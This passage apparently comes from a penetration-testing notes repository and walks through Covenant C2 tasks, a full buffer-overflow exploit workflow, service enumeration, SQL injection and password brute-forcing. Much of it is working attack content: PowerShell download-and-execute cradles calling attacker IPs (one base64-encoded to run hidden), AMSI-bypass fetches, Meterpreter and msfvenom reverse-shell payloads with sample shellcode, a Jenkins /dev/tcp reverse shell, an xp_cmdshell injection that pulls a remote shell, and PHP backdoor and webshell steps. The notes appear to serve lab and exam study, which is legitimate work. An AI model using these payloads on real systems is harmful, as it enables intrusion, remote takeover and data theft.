SafetyKatz 85 | ``` 86 | SafetyKatz 87 | ``` 88 | 89 | ### Impersonate 90 | - For example when there is no RDP open and want to run on other credentials 91 | - Open the grunt, Go to task and select "MakeToken" 92 | - Enter the credentials and type Logontype ```LOGON32_LOGON_INTERACTIVE``` 93 | 94 | ``` 95 | MakeToken /username:"" /domain:"" /password:"" /logontype:"LOGON32_LOGON_INTERACTIVE" 96 | ``` 97 | 98 | ### Import scripts 99 | - Interact with the grunt. 100 | - Go to tasks, select PowerShellImport and select the powershell script 101 | 102 | ### Runas command 103 | ``` 104 | ShellRunAs /shellcommand:"whoami" /username:"" /domain:"" /password:"" 105 | ``` 106 | 107 | 108 | #### Runas new shell example 109 | ``` 110 | ShellRunAs /shellcommand:"powershell -Sta -Nop -Window Hidden -Command \"iex (New-Object Net.WebClient).DownloadString('http://10.10.15.16:8080/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://10.10.15.16/HTTPStager.ps1')\"" /username:"" /domain:"" /password:"" 111 | ``` 112 | 113 | ### Session passing 114 | #### Covenant --> Meterpreter 115 | ``` 116 | use exploit/multi/handler 117 | setg payload windows/x64/meterpreter/reverse_https 118 | setg lhost 119 | setg lport 120 | setg exitfunc thread 121 | setg exitonsession false 122 | run -j 123 | 124 | # Generate payload 125 | use payload windows/x64/meterpreter/reverse_https 126 | generate -f raw -o /tmp/sc.bin 127 | ``` 128 | - Go to covenant, select grun --> task --> Shellcode and choose the file 129 | 130 | ### Covenant pivoting Example 131 | - **Got a shell but it didn't work? Just here for noting it down and looking at it later!** 132 | - If need to pivot over a HOP but got a restricted amount of allowed ports. Example following setup: 133 | - Hop ip = 10.10.121.108 and got comprimised 134 | - Allowed ports 443, 8080 and 80. 135 | - Normal covenant running on port 80, 443 is used for chisel, 8080 for webserver. 136 | - Attacker IP = 10.10.15.16 137 | 138 | ### Steps 139 | - Setup a new listener in Covenant, on port 8090 Set the 10.10.121.108 as ConnectAddresses and CONNECTPort to 8090. 140 | - Create a PowerShell payload with the new listener and download the file, host this file on the webserver on 8080. 141 | - Configure firewall rules 142 | 143 | ``` 144 | powershell netsh interface portproxy add v4tov4 listenaddress=10.10.121.108 listenport=8080 connectaddress=10.10.15.16 connectport=8080 protocol=tcp 145 | powershell netsh interface portproxy add v4tov4 listenaddress=10.10.121.108 listenport=8090 connectaddress=10.10.15.16 connectport=80 protocol=tcp 146 | 147 | # Optional if restricted access to the ports even! 148 | powershell netsh advfirewall firewall add rule name="Allow from 10.10.122.15" dir=in action=allow protocol=ANY remoteip=10.10.122.15 149 | ``` 150 | 151 | - Execute shell example: 152 | ``` 153 | $str = 'IEX ((new-object net.webclient).downloadstring("http://10.10.121.108:8080/amsi.txt")); IEX ((new-object net.webclient).downloadstring("http://10.10.121.108:8080/OttoHTTP.ps1"))' 154 | [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) | clip 155 | 156 | powershell.exe -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADIAMQAuADEAMAA4ADoAOAAwADgAMAAvAGEAbQBzAGkALgB0AHgAdAAiACkAKQA7ACAASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADIAMQAuADEAMAA4ADoAOAAwADgAMAAvAE8AdAB0AG8ASABUAFQAUAAuAHAAcwAxACIAKQApAA== 157 | ``` 158 | -------------------------------------------------------------------------------- /infrastructure/bufferoverflow.md: -------------------------------------------------------------------------------- 1 | # Buffer overflow 2 | To find and exploit a buffer overflow the following steps should be executed: 3 | 1. **Spiking:** Find the vulnerable parameter 4 | 2. **Fuzzing:** Get the amount of bytes the program crashes 5 | 3. **Find the offset:** Get the amount of bytes to write to the EIP 6 | 4. **Overwriting the EIP** 7 | 5. **Find bad characters:** Run all hex characters through the program 8 | 6. **Finding the right module:** Look for a ddl without memory protections 9 | 7. **Generating shellcode:** To get a reverse shell or to run calc 10 | 11 | Make sure you got immunity debugger + mona.py installed 12 | 13 | #### Spiking 14 | 1. Take the commands/options/parameters one at a time and send a bunch of data to see if it crashes 15 | 2. Use `generic_send_tcp 0 0` to send a spike script 16 | ``` 17 | #EXAMPLE SPIKE SCRIPT 18 | s_readline(); 19 | s_string("TRUN "); 20 | s_string_variable("0"); 21 | ``` 22 | 23 | #### Fuzzing 24 | 1. Get the amount of bytes it crashes the program, the following ```fuzzing.py``` script could be used: 25 | ``` 26 | import socket, time, sys 27 | 28 | ip = "" 29 | port = 30 | prefix = "" 31 | timeout = 5 32 | 33 | buffer = [] 34 | counter = 100 35 | while len(buffer) < 30: 36 | buffer.append("A" * counter) 37 | counter += 100 38 | 39 | for string in buffer: 40 | try: 41 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | s.settimeout(timeout) 43 | connect = s.connect((ip, port)) 44 | s.recv(1024) 45 | print("Fuzzing with %s bytes" % len(string)) 46 | s.send(prefix + string + "\r\n") 47 | s.recv(1024) 48 | s.close() 49 | except: 50 | print("Could not connect to " + ip + ":" + str(port)) 51 | sys.exit(0) 52 | time.sleep(1) 53 | ``` 54 | 55 | 2. Edit the variables "IP", "Port" and "Prefix" 56 | 57 | #### Find the offset 58 | First execute ```!mona config -set workingfolder c:\mona\oscp``` 59 | 1. Create a offset pattern with the amount of bytes +400 the program crashed. 60 | 61 | a) With metasploit 62 | 63 | ``` 64 | /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 65 | ``` 66 | 67 | b) With mona 68 | 69 | ``` 70 | !mona pc 71 | ``` 72 | 73 | 2. Create a new script named ```exploit.py``` and set the offset pattern in the variable "payload" 74 | 75 | ``` 76 | import socket 77 | 78 | ip = "" 79 | port = 80 | 81 | prefix = "" 82 | offset = 0 83 | overflow = "A" * offset 84 | retn = "" 85 | padding = "" #"\x90" * 16 86 | payload = "" 87 | postfix = "" 88 | 89 | buffer = prefix + overflow + retn + padding + payload + postfix 90 | 91 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 | 93 | try: 94 | s.connect((ip, port)) 95 | print("Sending evil buffer...") 96 | s.send(buffer + "\r\n") 97 | print("Done!") 98 | except: 99 | print("Could not connect.") 100 | ``` 101 | 102 | 3. Get the amound of offset bytes. 103 | 104 | A) With Mona 105 | 106 | ``` 107 | !mona findmsp -distance 108 | Check for output: EIP contains normal pattern : ... (offset XXXX) 109 | ``` 110 | 111 | B) With Metasploit 112 | 113 | ``` 114 | /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l -q 115 | ``` 116 | 117 | 4. Update your exploit.py script and set the offset variable to this value (was previously set to 0). 118 | 119 | #### Overwriting the EIP 120 | 1. Set the payload variable to an empty string again. Set the retn variable to "BBBB". 121 | 2. Execute the script and check in Immunity Debuffer if the EIP is overwritten with 4 B's (42424242) 122 | 123 | #### Find bad characters 124 | 1. Get a list of bad characters from https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/ or https://github.com/cytopia/badchars 125 | 2. Edit the exploit.py script and change the payload to send the bad characters (\x00 is already missing, but \x0a and \x0d are populair bad characters to. Probably should remove them aswell!) 126 | ``` 127 | payload = ( 128 | "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" 129 | "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" 130 | "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" 131 | "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" 132 | "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" 133 | "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" 134 | "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" 135 | "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" 136 | "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" 137 | "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" 138 | "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" 139 | "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" 140 | "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" 141 | "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" 142 | "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" 143 | "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 144 | ) 145 | ``` 146 | 147 | 3. Run the following in Immunity Debugger 148 | ``` 149 | !mona bytearray -b "\x00" 150 | !mona bytearray -b "\x00\x01" 151 | ``` 152 | 4. Run the modified exploit.py script again. Make a note of the address to which the ESP register points and use it in the following Mona command: 153 | 154 | ``` 155 | !mona compare -f C:\mona\oscp\bytearray.bin -a
156 | ``` 157 | 158 | A popup window should appear labelled "mona Memory comparison results". If not, use the Window menu to switch to it. The window shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file. Not all of these might be badchars! Sometimes badchars cause the next byte to get corrupted as well, or even effect the rest of the string(dont write the next bytes down). The first badchar in the list should be the null byte (\x00) since we already removed it from the file. Make a note of any others. 159 | 160 | 5. Generate a new bytearray in mona, specifying the badchars. Then update the payload variable in your exploit.py script and remove the new badchars as well. Restart oscp.exe in Immunity and run the modified exploit.py script again. Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist. 161 | ``` 162 | !mona bytearray -b "" 163 | !mona compare -f C:\mona\oscp\bytearray.bin -a 164 | ``` 165 | 166 | #### Finding the right module 167 | 1. Finding the right module 168 | 169 | A) Run the following command 170 | ``` 171 | !mona jmp -r esp -cpb "" 172 | ``` 173 | This command finds all "jmp esp" (or equivalent) instructions with addresses that don't contain any of the badchars specified. The results should display in the "Log data" window (use the Window menu to switch to it if needed). 174 | 175 | B) CyberMentor way 176 | 1. See all the module by executing `!mona modules` in the Immunity Debugger console. 177 | 2. Check all the protection settings (Rebase, SafeSEN, ASLR, NXCompat, OS dll) 178 | 3. Look for a vulnerable dll with all falses and write down the .dll 179 | 4. Find the upcode equivalant of a jump use `nasm_shell.rb` 180 | ``` 181 | JMP ESP 182 | output = \xff\xe4 183 | ``` 184 | 5. Get the all the JMP ESP return adressess `!mona find -s "\xff\xe4" -m <.dll file>` 185 | 186 | 2. Write down all the JMP ESP return adresses 187 | 3. Choose an address and update your exploit.py script, setting the "retn" variable to the address and empty the "payload" variable. 188 | If program is 32 bit, write it backwards. (little endian). For example if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in your exploit. 189 | ``` 190 | retn = "\xaf\x11\x50\x62" 191 | ``` 192 | 4. Click on the blue arrow in Immunity Debugger and enter the return adress, hit F2 to mark it blue and set a break point. Check the EIP value. If the EIP value == return/ESP adress we control the EIP 193 | 194 | #### Generating shellcode 195 | 1. Generate shellcode with msfvenom (reverse shell) 196 | 197 | ``` 198 | msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f c -e x86/shikata_ga_nai -b "" 199 | msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c -a x86 -b "" 200 | msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -b "" -f py 201 | msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c -a x86 -e x86/alpha_mixed 202 | ``` 203 | 204 | 2. Copy the generated python code and integrate it into your exploit.py script, e.g. by setting the payload variable equal to the buf variable from the code 205 | ``` 206 | payload = ( 207 | "\xba\x9f\x88\x46\xeb\xda\xca\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" 208 | "\x52\x31\x56\x12\x83\xee\xfc\x03\xc9\x86\xa4\x1e\x09\x7e\xaa" 209 | "\xe1\xf1\x7f\xcb\x68\x14\x4e\xcb\x0f\x5d\xe1\xfb\x44\x33\x0e" 210 | "\x77\x08\xa7\x85\xf5\x85\xc8\x2e\xb3\xf3\xe7\xaf\xe8\xc0\x66" 211 | "\x2c\xf3\x14\x48\x0d\x3c\x69\x89\x4a\x21\x80\xdb\x03\x2d\x37" 212 | "\xcb\x20\x7b\x84\x60\x7a\x6d\x8c\x95\xcb\x8c\xbd\x08\x47\xd7" 213 | "\x1d\xab\x84\x63\x14\xb3\xc9\x4e\xee\x48\x39\x24\xf1\x98\x73" 214 | "\xc5\x5e\xe5\xbb\x34\x9e\x22\x7b\xa7\xd5\x5a\x7f\x5a\xee\x99") 215 | 216 | or 217 | 218 | buf = b"" 219 | buf += b"\xbb\xbd\xb1\x86\xfa\xdb\xc5\xd9\x74\x24\xf4\x5a\x2b" 220 | buf += b"\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x7f\xb5\x64" 221 | buf += b"\x0f\x83\x5e\xea\xf0\x7b\x9f\x8b\x79\x9e\xae\x8b\x1e" 222 | buf += b"\xeb\x81\x3b\x54\xb9\x2d\xb7\x38\x29\xa5\xb5\x94\x5e" 223 | buf += b"\x1e\x70\xe0\x8e\x98\x69\x98\x9f\x4c\x8d\x0f\x9f\x44" 224 | payload = buf 225 | ``` 226 | 227 | 3. Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes: 228 | ``` 229 | padding = "\x90" * 16 230 | ``` 231 | 232 | 4. Start a listener and run exploit.py 233 | 234 | 5. Now recreate a payload for the target in the lab/exam and run it! 235 | -------------------------------------------------------------------------------- /infrastructure/bufferoverflow/exploit.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | ip = "" 4 | port = 5 | 6 | prefix = "" 7 | offset = 0 8 | overflow = "A" * offset 9 | retn = "" 10 | padding = "" #"\x90" * 16 11 | payload = "" 12 | postfix = "" 13 | 14 | buffer = prefix + overflow + retn + padding + payload + postfix 15 | 16 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | 18 | try: 19 | s.connect((ip, port)) 20 | print("Sending evil buffer...") 21 | s.send(buffer + "\r\n") 22 | print("Done!") 23 | except: 24 | print("Could not connect.") 25 | -------------------------------------------------------------------------------- /infrastructure/bufferoverflow/fuzzing.py: -------------------------------------------------------------------------------- 1 | import socket, time, sys 2 | 3 | ip = "" 4 | port = 5 | prefix = "" 6 | timeout = 5 7 | 8 | buffer = [] 9 | counter = 100 10 | while len(buffer) < 30: 11 | buffer.append("A" * counter) 12 | counter += 100 13 | 14 | for string in buffer: 15 | try: 16 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | s.settimeout(timeout) 18 | connect = s.connect((ip, port)) 19 | s.recv(1024) 20 | print("Fuzzing with %s bytes" % len(string)) 21 | s.send(prefix + string + "\r\n") 22 | s.recv(1024) 23 | s.close() 24 | except: 25 | print("Could not connect to " + ip + ":" + str(port)) 26 | sys.exit(0) 27 | time.sleep(1) 28 | -------------------------------------------------------------------------------- /infrastructure/enumeration.md: -------------------------------------------------------------------------------- 1 | # Enumeration 2 | * [Host Discovery](#Host-Discovery) 3 | * [Services](#Services) 4 | * [Most common ports](#Most-common-ports) 5 | * [Port Scanning Nmap](#port-scanning-Nmap) 6 | * [Vulnerability scanning](#Vulnerability-scanning) 7 | * [SMTP](#SMTP) 8 | * [SMB](#SMB) 9 | * [RPC](#RPC) 10 | * [Web-applications](#Web-applications) 11 | * [Vulnerability Scanning](#Vulnerability-scanning) 12 | * [Directory fuzzing](#Directory-fuzzing) 13 | 14 | ## Host Discovery 15 | #### Nmap No ping top 50 16 | ``` 17 | sudo nmap --top-ports 50 --open -Pn -oA nmap_top50_hostdicovery 18 | cat nmap_top50_hostdicovery | grep open | cut -d " " -f 2 | sort u > hosts.txt 19 | ``` 20 | 21 | #### NMap ping sweep 22 | ``` 23 | sudo nmap -sn 24 | ``` 25 | 26 | #### Netdiscover 27 | ``` 28 | sudo netdiscover -r 29 | sudo netdisover -i 30 | ``` 31 | 32 | #### Arpscan 33 | ``` 34 | arp-scan -l 35 | ``` 36 | 37 | ## Services 38 | ### Most common ports 39 | ``` 40 | 21: ftp 41 | 22: ssh 42 | 23: telnet 43 | 25: smtp 44 | 53: domain name system 45 | 80: http 46 | 110: pop3 47 | 111: rpcbind 48 | 135: msrpc 49 | 139: netbios-ssn 50 | 143: imap 51 | 443: https 52 | 445: microsoft-ds 53 | 993: imaps 54 | 995: pop3s 55 | 1723: pptp 56 | 3306: mysql 57 | 3389: ms-wbt-server 58 | 5900: vnc 59 | 8080: http-proxy 60 | ``` 61 | 62 | ### Port scanning Nmap 63 | #### Full TCP port scan 64 | ``` 65 | sudo nmap -sV -sC -O -p- -vv -oA fulltcp_ 66 | ``` 67 | 68 | #### Full UDP port scan 69 | ``` 70 | sudo nmap -sU -sV -sC -p- -vv -oA fulludp_ 71 | ``` 72 | 73 | #### Usefull flags 74 | - ```-Pn``` No ping #use if host says down but you know its up) 75 | - ```-sn``` No port scan 76 | 77 | #### HTTP Openproxy 78 | If there is an open HTTP proxy, connect to it by configuring a proxy in your browser. 79 | 80 | #### Autorecon 81 | - https://github.com/Tib3rius/AutoRecon 82 | ``` 83 | autorecon -vv 84 | ``` 85 | 86 | ### Vulnerability scanning 87 | #### Nmap scan for vulnerabilities 88 | ``` 89 | nmap -p- --script vuln -vv -oA vulnscan_ 90 | ``` 91 | 92 | ### SMTP 93 | #### Enumerate emails accounts 94 | ``` 95 | nc -nv 25 96 | VRFY root 97 | VRFY idontexist 98 | Check output 99 | ``` 100 | 101 | ### SMB 102 | - https://book.hacktricks.xyz/pentesting/pentesting-smb 103 | 104 | #### Get version script 105 | - https://github.com/unkn-0wn/SmbVersion 106 | ``` 107 | sudo python3 smbver.py 108 | ``` 109 | 110 | #### Nmap enumerate SMB shares 111 | ``` 112 | nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 113 | nmap -p 139,445 --script=/usr/share/nmap/scripts/smb* 114 | ``` 115 | 116 | #### Enum4linux 117 | - https://github.com/cddmp/enum4linux-ng 118 | ``` 119 | enum4linux 120 | ``` 121 | 122 | #### List shares and check access with null sessions 123 | ``` 124 | crackmapexec smb -u '' -p '' --shares 125 | ``` 126 | 127 | #### List shares and check access with username and password 128 | - use ```-d ``` if the account is a domain account 129 | ``` 130 | crackmapexec smb -u '' -p '' -d . 131 | ``` 132 | 133 | #### SMBClient connect to share 134 | ``` 135 | smbclient /// 136 | ``` 137 | 138 | #### Download smb files recursively 139 | ``` 140 | get - 141 | smbget -R smb:/// 142 | ``` 143 | 144 | #### Nbtscan 145 | ``` 146 | nbtscan 147 | ``` 148 | 149 | ### RPC 150 | #### Nmap enumerate RPC shares 151 | ``` 152 | nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 153 | ``` 154 | 155 | ### SSH 156 | #### Connect with other algoritms 157 | ``` 158 | ssh 159 | ssh -oKexAlgorithms=+ 160 | ssh -oKexAlgorithms=+ -c 161 | ``` 162 | 163 | ## Web-applications 164 | - Check the file extensions in URL’s to see what the application is running (.net .aspx .php etc) 165 | - Inspect page content 166 | - Check Firefox debugger for outdated javascript libraries 167 | - Look for /robots.txt and /sitemap.xml 168 | 169 | #### Find subdomains from html pages 170 | ``` 171 | curl 172 | grep -o '[^/]*\.\.com' index.html | sort -u > subdomains.txt 173 | ``` 174 | 175 | ### Screenshot a lot of http pages 176 | Collect screenshot from list of ips 177 | ``` 178 | for ip in $(cat ); do cutycapt --url=$ip --out=$ip.png;done 179 | ``` 180 | 181 | #### Run the following bash script 182 | ``` 183 | #!/bin/bash 184 | # Bash script to examine the scan results through HTML. 185 | echo "
" > web.html 186 | ls -1 *.png | awk -F : '{ print $1":\n

"}' >> w 187 | eb.html 188 | echo "" >> web.html 189 | ``` 190 | 191 | #### eyewitness 192 | - https://github.com/FortyNorthSecurity/EyeWitness 193 | ``` 194 | ./EyeWitness -f urls.txt --web 195 | ``` 196 | 197 | ### Vulnerability scanning 198 | #### Nikto 199 | ``` 200 | nikto -host -output nikto-URL.txt 201 | ``` 202 | 203 | ### Directory fuzzing 204 | #### Dirb Quick scan 205 | - ```-R``` to disable recursive scanning 206 | - ```-p``` set up a proxy 207 | - ```-X``` Append each word with this extensions. 208 | ``` 209 | dirb /usr/share/dirb/wordlists/big.txt -o dirb-.txt 210 | ``` 211 | 212 | #### Dirb Big wordlist 213 | ``` 214 | dirb /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -o dirb-.txt 215 | ``` 216 | 217 | #### Gobuster Quick scan 218 | - use the ```-b``` flag to blacklist status codes. 219 | - Use the ```-x``` flag to add file extensions. 220 | ``` 221 | gobuster dir -w /opt/SecLists/Discovery/Web-Content/big.txt -u gobuster-.txt 222 | ``` 223 | 224 | #### Gobuster Big wordlist 225 | ``` 226 | gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u gobuster-.txt 227 | ``` 228 | 229 | 230 | ### Wordpress 231 | #### Scan Wordpress 232 | ``` 233 | wpscan -url 234 | ``` 235 | 236 | #### Enumerate users 237 | ``` 238 | wpscan –url -–enumerate u 239 | ``` 240 | 241 | #### Bruteforce login 242 | ``` 243 | wpscan --url --usernames --passwords /usr/share/wordlists/rockyou.txt --max-threads 50 244 | ``` 245 | 246 | #### Upload a reveare shell 247 | 1. Login --> Appearance --> Theme editor --> 404.php 248 | 2. gedit /usr/share/webshells/php/php-reverse-shell.php 249 | 3. Paste in 404.php 250 | 4. Start listener and go to an unexisting page in the browser 251 | 252 | ### Jenkings 253 | #### Execute commands 254 | - After login go to /script 255 | 256 | #### Reverse java shell 257 | ``` 258 | r = Runtime.getRuntime() 259 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp//;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) 260 | p.waitFor() 261 | ``` 262 | 263 | ### General 264 | #### Find dangerous HTTP methods 265 | https://www.sans.org/reading-room/whitepapers/testing/penetration-testing-web-application-dangerous-http-methods-33945 266 | ``` 267 | curl -v -X OPTIONS http://website/directory 268 | #HTTP options such as PUT, Delete are bad 269 | ``` 270 | -------------------------------------------------------------------------------- /infrastructure/exploitation.md: -------------------------------------------------------------------------------- 1 | # Exploitation 2 | * [Web application](#Exploitation-Web-application) 3 | * [Services](#Services) 4 | * [Password Attacks](#Password-Attacks) 5 | * [SMB and NETBIOS](#SMB-and-NETBIOS) 6 | * [NFS Shares](#NFS-Shares) 7 | * [All the Shells](#Shells) 8 | * [Misc](#Misc) 9 | 10 | ## Exploitation Web application 11 | ### General 12 | When modifying web exploits, there are several key questions we generally need to ask while approaching the code: 13 | - Does it initiate an HTTP or HTTPS connection? 14 | - Does it access a web application specific path or route? 15 | - Does the exploit leverage a pre-authentication vulnerability? 16 | - If not, how does the exploit authenticate to the web application? 17 | - How are the GET or POST requests crafted to trigger and exploit the vulnerability? 18 | - Does it rely on default application settings (such as the web path of the application) that may have been changed after installation? 19 | - Will oddities such as self-signed certificates disrupt the exploit? 20 | 21 | ## SQL Injection 22 | - Use ```‘``` and ```“``` to look for possible errors 23 | - use ```#``` and ```-- ``` for comments after the injection. (After the ``-- ``` a space is required_ 24 | - If ```-- ``` in url the add something behind it so the space doesn't get truncated. For example ```-- \\``` 25 | - If returning multiple rows gives errors use ```LIMIT 1``` in the query 26 | - use ```ORDER BY``` to find the amount of columns. Increment it by 1 till no output is shown. 27 | - use ```load_file('C:/Windows/System32/drivers/etc/hosts')``` to load files instead of database data. 28 | - use ```"" into OUTFILE '/backdoor.php'``` to create a simple php backdoor. 29 | 30 | ### Manual SQL injection 31 | - https://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/ 32 | - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 33 | 1. Find the SQL injecton 34 | - Use ```‘``` and ```“``` to look for possible errors. 35 | - Vunerable value for example is ```artist=1``` 36 | 2. Find the amount of columns 37 | - use ```artist=1 ORDER BY 1```. Increment it by 1 till no output or error is given. If ``artist=1 ORDER BY 4`` gives an error, the amount of columns is 3. 38 | 3. Use a union based SQL injection 39 | - use ```artist=1 union select 1,2,3``` (amount of columns). If no other output is given: 40 | - use wrong output ```artist=-1 union select 1,2,3``` 41 | - If its a string use ```artist=-1 union select NULL,NULL,NULL``` 42 | 4. Fetch the name of the database and version/current user 43 | - ```artist=-1 union select 1,database(),3``` 44 | - ```-1 union select 1,version(),current_user()``` 45 | 5. Fetch the table names inside the database 46 | - Retrieve all table names 47 | - ```artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()``` 48 | - Get first table name (Limited by first because of the ```limit 0,1```) 49 | - ```artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1``` 50 | - Get the second table name (Limited by second because of the ```limit 1,1```) 51 | - ```artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1``` 52 | - Get the rest of the table names 53 | 6. Retrieve columns names 54 | - ```artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=''``` 55 | 7. Get data out of the columns 56 | - ```artist=-1 union select 1,group_concat(),3 from
``` 57 | 58 | ### SQLmap 59 | - Use the ```--batch``` command to default answer the questions 60 | - Use the ```--wizzard``` flag for easy mode 61 | - Use the ```--os-shell``` flag for easy shell 62 | 63 | ``` 64 | sqlmap -r 65 | sqlmap -r --banner 66 | sqlmap -r --dbs 67 | sqlmap -r --D --tables 68 | sqlmap -r --D -T
--columns 69 | sqlmap -r --D -T
-C , --dump 70 | sqlmap -r --dump 71 | sqlmap -r 72 | ``` 73 | 74 | ### MYSQL Commands 75 | ``` 76 | show grants; 77 | show variables; 78 | show databases; 79 | use ; 80 | show tables; 81 | describe
; 82 | SELECT * FROM
; 83 | ``` 84 | 85 | ### MSSQL 86 | #### Mssql connect 87 | ``` 88 | mssql-cli -S 10.11.1.31 -U sa -P 'poiuytrewq' 89 | ``` 90 | 91 | #### Enable XP_Cmdshell 92 | ``` 93 | EXECUTE sp_configure 'show advanced options', 1; 94 | RECONFIGURE; 95 | EXECUTE sp_configure 'xp_cmdshell', 1; 96 | RECONFIGURE; 97 | ``` 98 | 99 | #### Execute commands 100 | ``` 101 | xp_cmdshell 'whoami' 102 | ``` 103 | 104 | #### Random injection shell 105 | ``` 106 | a ') EXEC xp_cmdshell 'powershell.exe iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.143:8090/amsi.txt''); iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.143:8090/Invoke-PowerShellTcp2.ps1'')'; -- 107 | ``` 108 | 109 | ### Webserver shells checklist 110 | - Is the webserver running ISS, PHP? What is it running 111 | - ISS = .asp, .aspx 112 | - PHP = .php 113 | - Java = .jsp 114 | 115 | ### File upload 116 | #### File upload intruder extensions list 117 | ``` 118 | /opt/SecLists/Discovery/Web-Content/web-extensions.txt 119 | ``` 120 | 121 | ## Services 122 | ### FTP 123 | - Check if login is allowed as anonymous:anonymous. 124 | 125 | ### POP read emails 126 | ``` 127 | nc -nvC 128 | USER 129 | PASS 130 | LIST 131 | RETR 1 132 | RETR 2 133 | ``` 134 | 135 | ### MSRPC login 136 | ``` 137 | evil-winrm -u -p -i 138 | ``` 139 | 140 | ## Password Attacks 141 | https://github.com/danielmiessler/SecLists 142 | #### Hydra bruteforce FTP 143 | ``` 144 | hydra -L -P -t 24 ftp://: 145 | ``` 146 | 147 | #### Hydra bruteforce SSH 148 | ``` 149 | hydra -L -P -t 24 ssh://: 150 | ``` 151 | 152 | #### Hydra bruteforce HTTP login 153 | Login using Burp or check in developers tools to check the request for the required information! You need to get the username/password/login parameter and the error message! 154 | 155 | https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/ 156 | ``` 157 | hydra -L -P http-post-form "::" 158 | 159 | #EXAMPLE hydra -L usernames.txt -P passwords.txt 192.168.2.62 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" 160 | 161 | #EXAMPLE hydra -l admin -P /opt/SecLists/Passwords/xato-net-10-million-passwords-100.txt 10.10.175.0 http-post-form 